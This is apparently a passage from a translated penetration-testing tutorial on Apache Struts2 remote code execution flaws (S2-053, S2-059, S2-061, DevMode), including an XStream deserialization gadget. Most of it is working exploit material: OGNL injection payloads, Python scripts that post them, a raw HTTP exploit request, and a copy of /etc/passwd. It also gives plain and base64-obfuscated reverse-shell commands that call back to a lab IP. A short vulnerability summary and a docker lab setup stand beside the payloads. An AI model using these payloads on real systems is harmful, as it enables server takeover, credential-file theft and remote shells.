<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>touch</string> <string>/tmp/success</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
Here, the header content type is modified to application XML
antic
read file <command> <string>cp</string> <string>/etc/passwd</string> <string>/tmp/passwd</string> </command> Write file <command> <string>bash</string> <string>-c</string> <string>echo dayu hello > /tmp/dayu.txt</string> </command>
4.17 S2-053 Remote Code Execution Vulnerability
Vulnerability principle
When using Freemarker template engine, struts 2 also allows parsing OGNL expressions. The data entered by the user itself will not be parsed by OGNL, but it will leave an expression after being parsed once by Freemarker and be parsed by OGNL for the second time, resulting in an arbitrary command execution vulnerability.
Impact version
Struts 2.0.1-2.3.33 Struts 2.5-2.5.10
Startup vulnerability
poc-1
redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmds%3D%28%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27id%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
poc-2
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.173.133/8889 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-tzmtwuf4-1626014278360) (C: / users / ZCC / appdata / roaming / typora / typora user images / image-20210711203127993. PNG)]
4.18 S2-059 Remote Code Execution Vulnerability
Vulnerability principle
The Apache Struts framework will re parse the attribute values of some specific tags, such as the id attribute, so attackers can pass the OGNL expression that will be parsed again when the rendered tag wakes up, causing OGNL expression injection. This may cause remote code execution!
Impact version
Struts 2.0.0 - Struts 2.5.20
Startup vulnerability
Verify that the vulnerability exists
poc-1
%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d
poc-2, executed in Python 2 Environment
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text)
poc-3, rebound shell
base64 Code website: http://www.jackson-t.ca/runtime-exec-payloads.html bash -i >& /dev/tcp/192.168.173.133/8889 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvODg4OSAwPiYx}|{base64,-d}|{bash,-i}
import requests url = "http://192.168.173.144:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvODg4OSAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text)
4.19 S2-061 Remote Code Execution Vulnerability
Vulnerability principle
Apache Struts 2 framework is a Web framework for developing Java EE network applications. Apache Struts disclosed S2-061 Struts Remote Code Execution Vulnerability (CVE-2020-17530) on December 8, 2020. There may be OGNL expression injection vulnerability when using some tag s, resulting in remote code execution and great risk. S2-061 bypasses S2-059. The official repair method of struts 2 to S2-059 is to strengthen the OGNL expression sandbox, and s2-061 bypasses the sandbox.
Impact version
Struts 2.0.0 - Struts 2.5.25
Startup vulnerability
poc-1
POST /index.action HTTP/1.1 Host: 192.168.173.144:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.173.144:8080/index.action Cookie: JSESSIONID=node01k3pu3katilv7msftp5e7xu3u2.node0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 827 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
poc-2 rebound shell
base64 Code website: http://www.jackson-t.ca/runtime-exec-payloads.html bash -i >& /dev/tcp/192.168.173.133/8889 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvODg4OSAwPiYx}|{base64,-d}|{bash,-i}
Replace the id position in poc-1.
4.20 S2 DevMode Remote Code Execution Vulnerability
Vulnerability principle
When Struts2 turns on devMode mode, it will lead to serious Remote Code Execution Vulnerability. If the WebService startup permission is the highest permission, you can remotely execute any commands, including shutdown, creating new users, deleting all files on the server, and so on.
Impact version
Struts 2.1.0--2.5.1,Tongsha Struts2 All versions
Startup vulnerability
docker pull medicean/vulapps:s_struts2_s2-devmode
docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-devmode docker ps
poc
/orders/new/?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id